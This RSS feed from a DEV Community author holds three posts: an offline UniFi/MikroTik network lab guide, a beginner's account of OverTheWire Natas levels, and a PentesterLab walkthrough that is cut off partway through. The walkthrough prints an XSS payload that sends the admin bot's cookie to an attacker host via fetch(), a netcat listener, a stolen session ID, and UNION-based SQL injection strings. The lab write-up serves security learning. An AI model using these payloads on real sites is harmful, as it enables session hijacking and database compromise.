<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ekko1500</title>
    <description>The latest articles on DEV Community by ekko1500 (@ekko1500).</description>
    <link>https://dev.to/ekko1500</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1470782%2Ffcfeafb9-6527-4b83-9b2b-504e65546521.png</url>
      <title>DEV Community: ekko1500</title>
      <link>https://dev.to/ekko1500</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ekko1500"/>
    <language>en</language>
    <item>
      <title>How to Setup a UniFi Access Point &amp; MikroTik Switch Local Test Lab (No Internet Required)</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Wed, 27 May 2026 03:50:48 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-to-setup-a-unifi-access-point-mikrotik-switch-local-test-lab-no-internet-required-4f69</link>
      <guid>https://dev.to/ekko1500/how-to-setup-a-unifi-access-point-mikrotik-switch-local-test-lab-no-internet-required-4f69</guid>
      <description>&lt;p&gt;Setting up an enterprise-grade home network or testing configuration changes usually requires an internet connection. But what if you want to build an isolated sandbox or test local area network (LAN) performance completely offline?&lt;/p&gt;

&lt;p&gt;If you have a &lt;strong&gt;Ubiquiti UniFi Access Point&lt;/strong&gt;, a &lt;strong&gt;MikroTik Cloud Router Switch (CRS)&lt;/strong&gt;, and a computer, you have everything you need to build a high-performance local test lab.&lt;/p&gt;

&lt;p&gt;In this guide, we will walk you through the physical wiring, solving the "no-internet" IP routing issue, and adopting your AP without an ISP connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Equipment Checklist
&lt;/h2&gt;

&lt;p&gt;Before we dive in, make sure you have the following gear on your workbench:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ubiquiti UniFi Access Point&lt;/strong&gt; (Any modern U6, AC, or HD model)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UniFi PoE Injector&lt;/strong&gt; (The power brick included with your AP, or an equivalent 24V/48V PoE injector)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MikroTik Cloud Switch&lt;/strong&gt; (e.g., CRS series)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A Computer/Laptop&lt;/strong&gt; with an Ethernet port (or an Ethernet-to-USB adapter)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three Ethernet Cables&lt;/strong&gt; (Cat5e or Cat6)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Phase 1: The Physical Topology (The Wiring Loop)
&lt;/h2&gt;

&lt;p&gt;Because we don't have an Internet Service Provider (ISP) modem assigning power and routing data, our network setup needs to follow a precise physical loop.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Critical Troubleshooting Note:&lt;/strong&gt; If your Access Point's LED light does not turn on immediately after plugging it in, your power loop is incorrect. UniFi APs &lt;em&gt;require&lt;/em&gt; Power over Ethernet (PoE). Most MikroTik switches do not output PoE power by default, so you &lt;strong&gt;must&lt;/strong&gt; use the UniFi power brick injector.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Follow these steps exactly to build your local loop:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Connect your PC to the Switch:&lt;/strong&gt; Cable #1.&lt;br&gt;
Plug one Ethernet cable from your computer’s network port into &lt;strong&gt;Port 1&lt;/strong&gt; of your MikroTik switch.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bridge the Switch to the Injector:&lt;/strong&gt; Cable #2.&lt;br&gt;
Plug a second Ethernet cable from &lt;strong&gt;Port 2&lt;/strong&gt; of your MikroTik switch into the &lt;strong&gt;LAN&lt;/strong&gt; port of the UniFi PoE Injector power brick.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deliver Power to the Access Point:&lt;/strong&gt; Cable #3.&lt;br&gt;
Plug a third Ethernet cable from the &lt;strong&gt;PoE&lt;/strong&gt; port of the injector into the &lt;strong&gt;Main&lt;/strong&gt; Ethernet port on the back of your UniFi Access Point.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fire Up the Lab:&lt;/strong&gt; Power.&lt;br&gt;
Plug the PoE Injector's power cord into the wall outlet. Within 5 seconds, the UniFi AP’s circular LED ring will light up &lt;strong&gt;solid white&lt;/strong&gt;, indicating it is powered up and ready for adoption.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Phase 2: Resolving the IP Address Problem
&lt;/h2&gt;

&lt;p&gt;Normally, an ISP router runs a service called &lt;strong&gt;DHCP&lt;/strong&gt;, which automatically dishes out IP addresses to your computer and AP so they can talk. Since we are completely offline, we have to trick the hardware into finding each other using a manual network space.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Assign a Static IP to your Computer
&lt;/h3&gt;

&lt;p&gt;You need to force your computer to live in the same network neighborhood that the UniFi AP defaults to when it can't find the internet.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows:&lt;/strong&gt; Go to &lt;em&gt;Settings &amp;gt; Network &amp;amp; Internet &amp;gt; Ethernet &amp;gt; Edit IP Settings&lt;/em&gt;. Change to &lt;strong&gt;Manual&lt;/strong&gt;, toggle IPv4 on, and enter:&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Address:&lt;/strong&gt; &lt;code&gt;192.168.1.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subnet Mask:&lt;/strong&gt; &lt;code&gt;255.255.255.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Gateway:&lt;/strong&gt; Leave Blank&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;macOS:&lt;/strong&gt; Go to &lt;em&gt;System Settings &amp;gt; Network &amp;gt; Ethernet &amp;gt; Details &amp;gt; TCP/IP&lt;/em&gt;. Change &lt;em&gt;Configure IPv4&lt;/em&gt; to &lt;strong&gt;Manually&lt;/strong&gt; and enter:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;IP Address:&lt;/strong&gt; &lt;code&gt;192.168.1.10&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subnet Mask:&lt;/strong&gt; &lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Router/Gateway:&lt;/strong&gt; Leave Blank&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 2: The UniFi AP Fallback IP
&lt;/h3&gt;

&lt;p&gt;When a UniFi Access Point Boots up and fails to locate a DHCP server after a couple of minutes, it automatically claims a smart fallback IP: &lt;strong&gt;&lt;code&gt;192.168.1.20&lt;/code&gt;&lt;/strong&gt;. Because your computer is now manually set to &lt;code&gt;192.168.1.10&lt;/code&gt;, your computer can now ping and see the AP across the MikroTik switch.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Local Software Configuration
&lt;/h2&gt;

&lt;p&gt;Because we don't have internet access, we cannot use the UniFi smartphone application (which relies on cloud synchronization). Instead, we will host a local server controller directly on your testing machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Fire Up the UniFi Network Server
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Download the free &lt;strong&gt;UniFi Network Server application&lt;/strong&gt; (formerly known as the UniFi Controller) from the Ubiquiti Downloads page onto your PC prior to starting your offline lab, or transfer it via a USB drive.&lt;/li&gt;
&lt;li&gt;Launch the application on your computer.&lt;/li&gt;
&lt;li&gt;Once initialized, click &lt;strong&gt;Launch a Browser to Manage the Network&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Your browser will open a local web page. Proceed through the setup wizard. When prompted to sign in with a UI.com account, select &lt;strong&gt;Switch to Advanced Setup&lt;/strong&gt; and choose &lt;strong&gt;Local Access Only&lt;/strong&gt; to create an offline username and password.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 2: Adopt the AP
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Once inside the main UniFi dashboard dashboard, click on the &lt;strong&gt;UniFi Devices&lt;/strong&gt; icon (the circular target logo on the left toolbar).&lt;/li&gt;
&lt;li&gt;You will see your Access Point listed with its fallback IP address (&lt;code&gt;192.168.1.20&lt;/code&gt;) and a status of &lt;strong&gt;Pending Adoption&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click on the device name, and hit &lt;strong&gt;Adopt&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The AP light will blink for a moment, provision itself, and change to a &lt;strong&gt;Solid Blue&lt;/strong&gt; light. Your AP is now fully adopted into your offline server.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Broadcast a Local Wi-Fi Network
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Settings&lt;/strong&gt; (the gear icon at the bottom left of your UniFi browser interface).&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;WiFi&lt;/strong&gt; and select &lt;strong&gt;Create New WiFi&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Name your local test Wi-Fi network (SSID) and create a password.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Apply Changes&lt;/strong&gt;. The server will push this configuration through your MikroTik switch straight to your AP.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  How to Test Your New Offline LAN Lab
&lt;/h2&gt;

&lt;p&gt;Grab a smartphone, a tablet, or a secondary laptop and connect to the new Wi-Fi network you just broadcasted.&lt;/p&gt;

&lt;p&gt;Because you aren't connected to an ISP box, your phone will likely say &lt;em&gt;"Connected, No Internet Access"&lt;/em&gt;. This is exactly what we want.&lt;/p&gt;

&lt;p&gt;To verify your local network throughput and communication:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open a terminal or command prompt app on your phone or secondary device.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;ping 192.168.1.10&lt;/code&gt; (the IP address of your main computer).&lt;/li&gt;
&lt;li&gt;If you see successful reply streams, your data is leaving your wireless device, passing through the UniFi AP, travelling through the MikroTik switch, and safely landing on your PC.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Congratulations—you have a fully operational, completely isolated wireless test lab!&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>infrastructure</category>
      <category>networking</category>
      <category>testing</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How OverTheWire's Natas Humbled Me in 4 Levels or Less</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Sun, 24 May 2026 16:56:17 +0000</pubDate>
      <link>https://dev.to/ekko1500/how-overthewires-natas-humbled-me-in-4-levels-or-less-3lf2</link>
      <guid>https://dev.to/ekko1500/how-overthewires-natas-humbled-me-in-4-levels-or-less-3lf2</guid>
      <description>&lt;p&gt;&lt;strong&gt;By:&lt;/strong&gt; Me, a person who definitely cried a little&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Date:&lt;/strong&gt; Today, sadly&lt;/p&gt;


&lt;h3&gt;
  
  
  Day 1: Confidence is a Trap
&lt;/h3&gt;

&lt;p&gt;I started Natas thinking, "It's just web security. I've used a browser before. How hard can it be?"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Famous last words.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Level 0 and 1 were fine. Base64 decoding? Please. I'm basically a hacker already.&lt;/p&gt;

&lt;p&gt;Then Level 2 happened.&lt;/p&gt;


&lt;h3&gt;
  
  
  The PNG That Broke Me
&lt;/h3&gt;

&lt;p&gt;I saw a &lt;code&gt;pixel.png&lt;/code&gt; in the source code and thought, "Aha! Steganography!"&lt;/p&gt;

&lt;p&gt;What followed was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trying to &lt;code&gt;wget&lt;/code&gt; the file and getting a &lt;strong&gt;401 Unauthorized&lt;/strong&gt; (because I forgot the credentials... twice)&lt;/li&gt;
&lt;li&gt;Finally getting credentials from Level 1, then facing a &lt;strong&gt;DNS resolution failure&lt;/strong&gt; (thanks, my ISP)&lt;/li&gt;
&lt;li&gt;Discovering my WSL had no &lt;code&gt;sudo&lt;/code&gt; (turns out I wasn't even in WSL—I was in Git Bash like a lost child)&lt;/li&gt;
&lt;li&gt;Installing &lt;code&gt;exiftool&lt;/code&gt; after 45 minutes of dependency hell&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;exiftool pixel.png&lt;/code&gt; and getting... &lt;strong&gt;absolutely nothing&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Trying &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;binwalk&lt;/code&gt;, and even a hex editor—still nothing&lt;/li&gt;
&lt;li&gt;Finally admitting defeat and asking for help&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The answer?&lt;br&gt;&lt;br&gt;
&lt;strong&gt;The PNG was a tracking pixel. 1x1. Transparent. Empty.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The real password was sitting in &lt;code&gt;users.txt&lt;/code&gt; in the &lt;strong&gt;same directory&lt;/strong&gt;, visible to anyone who bothered to look at the file listing.&lt;/p&gt;

&lt;p&gt;I spent 6 hours analyzing nothing.&lt;/p&gt;


&lt;h3&gt;
  
  
  Level 3: Google's Gift to Idiots (Me)
&lt;/h3&gt;

&lt;p&gt;Level 3's source code had a comment:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Not even Google will find it this time..."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I stared at it for 10 minutes. Then I remembered: &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One quick visit to &lt;code&gt;/robots.txt&lt;/code&gt; and I saw:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;Disallow&lt;/span&gt;: /&lt;span class="n"&gt;s3cr3t&lt;/span&gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I literally facepalmed. So loud my neighbor asked if I was okay.&lt;/p&gt;

&lt;p&gt;Found the hidden directory. Found &lt;code&gt;users.txt&lt;/code&gt;. Found the password for Level 4.&lt;/p&gt;

&lt;p&gt;That took 90 seconds.&lt;/p&gt;




&lt;h3&gt;
  
  
  Lessons Learned (The Hard Way)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Why It Hurt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Read the directory listing first&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Because the answer is rarely in a blank PNG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Don't ignore source code comments&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;They're not flavor text—they're hints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google doesn't index everything&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;But &lt;code&gt;robots.txt&lt;/code&gt; tells you exactly what Google was told to ignore&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WSL is not magic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;You actually have to open it. Git Bash is not Linux.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ask for help before hour 5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;My ego cost me 6 hours of my life&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;I'm only on Level 3 and I've already:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Misdiagnosed a tracking pixel as a steganography challenge
&lt;/li&gt;
&lt;li&gt;Fought with DNS, WSL, and my own pride
&lt;/li&gt;
&lt;li&gt;Learned that &lt;code&gt;robots.txt&lt;/code&gt; exists (should've known that already)
&lt;/li&gt;
&lt;li&gt;Realized I'm not as smart as I thought I was&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;But I'm still going.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Natas 4 tomorrow. Maybe I'll actually read the source code this time.&lt;/p&gt;




&lt;h3&gt;
  
  
  PSA to Future Me (and You)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;If you're stuck on a Natas level and you find yourself installing forensic tools...&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stop.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Check the directory listing first. Read the source code again. Look for &lt;code&gt;robots.txt&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
The answer is rarely encrypted. It's usually just hidden in plain sight, laughing at you.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;End of day. Time to touch grass.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>beginners</category>
      <category>devjournal</category>
      <category>learning</category>
      <category>security</category>
    </item>
    <item>
      <title>From XSS to Shell: How I Broke Into a Server and Lived to Tell the Tale</title>
      <dc:creator>ekko1500</dc:creator>
      <pubDate>Sat, 23 May 2026 16:32:17 +0000</pubDate>
      <link>https://dev.to/ekko1500/from-xss-to-shell-how-i-broke-into-a-server-and-lived-to-tell-the-tale-3ooe</link>
      <guid>https://dev.to/ekko1500/from-xss-to-shell-how-i-broke-into-a-server-and-lived-to-tell-the-tale-3ooe</guid>
      <description>&lt;p&gt;&lt;strong&gt;By:&lt;/strong&gt; Someone who almost gave up three times&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Lab:&lt;/strong&gt; PentesterLab — XSS and MySQL FILE&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Status:&lt;/strong&gt; Owned ✅&lt;/p&gt;


&lt;h2&gt;
  
  
  🎭 Prologue: The ISO That Mocked Me
&lt;/h2&gt;

&lt;p&gt;I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."&lt;/p&gt;

&lt;p&gt;I was wrong.&lt;/p&gt;

&lt;p&gt;But I learned more in 3 hours of failing than in 3 months of reading theory.&lt;/p&gt;

&lt;p&gt;This is the story of how I went from copy-pasting XSS payloads to executing &lt;code&gt;whoami&lt;/code&gt; on a remote server — and how you can too.&lt;/p&gt;


&lt;h2&gt;
  
  
  📍 Phase 1: The Cookie Heist (XSS)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Setup
&lt;/h3&gt;

&lt;p&gt;The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? &lt;strong&gt;Already logged in as admin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My job: Trick that bot into sending me its cookie.&lt;/p&gt;
&lt;h3&gt;
  
  
  What I Tried First (and failed)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Breakthrough
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://MY_IP:80/?'+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;But nothing happened. Why? &lt;strong&gt;No listener.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;On my Kali VM (&lt;code&gt;192.168.56.102&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then injected payload pointing to Kali's IP.&lt;/p&gt;

&lt;p&gt;Waited 60 seconds.&lt;/p&gt;

&lt;p&gt;Then saw this in my terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Boom. Admin cookie stolen.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The bot visits automatically every minute — be patient.&lt;/li&gt;
&lt;li&gt;Always start your listener BEFORE injecting.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ERR_CONNECTION_REFUSED&lt;/code&gt; means your XSS worked but nothing was listening.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 2: Walking In The Back Door
&lt;/h2&gt;

&lt;p&gt;I took that cookie (&lt;code&gt;PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0&lt;/code&gt;) and added it to my browser's storage.&lt;/p&gt;

&lt;p&gt;Refreshed the page. Clicked "admin."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I was in.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No login prompt. No password. Just pure session hijacking.&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Session cookies are gold. Treat them like root passwords.&lt;/li&gt;
&lt;li&gt;If you steal an admin's cookie, you ARE the admin.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 3: The SQL Injection That Fought Back
&lt;/h2&gt;

&lt;p&gt;In the admin panel, I found &lt;code&gt;edit.php?id=1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Tested:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got a MySQL error. &lt;strong&gt;Injection confirmed.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The UNION Struggle
&lt;/h3&gt;

&lt;p&gt;I tried:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That error meant: the query changed but PHP expected a row.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Force the original query to return nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The error disappeared. Numbers appeared on the page. &lt;strong&gt;UNION worked.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Lesson Learned
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;non-object&lt;/code&gt; errors are actually GOOD — they mean you influenced the query.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;and 1=2&lt;/code&gt; to empty the original result set.&lt;/li&gt;
&lt;li&gt;Find which columns display on the page (2 and 3 usually).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📍 Phase 4: The FILE Privilege Gamble
&lt;/h2&gt;

&lt;p&gt;I checked the current user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output: &lt;code&gt;root@localhost&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then checked FILE privilege:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
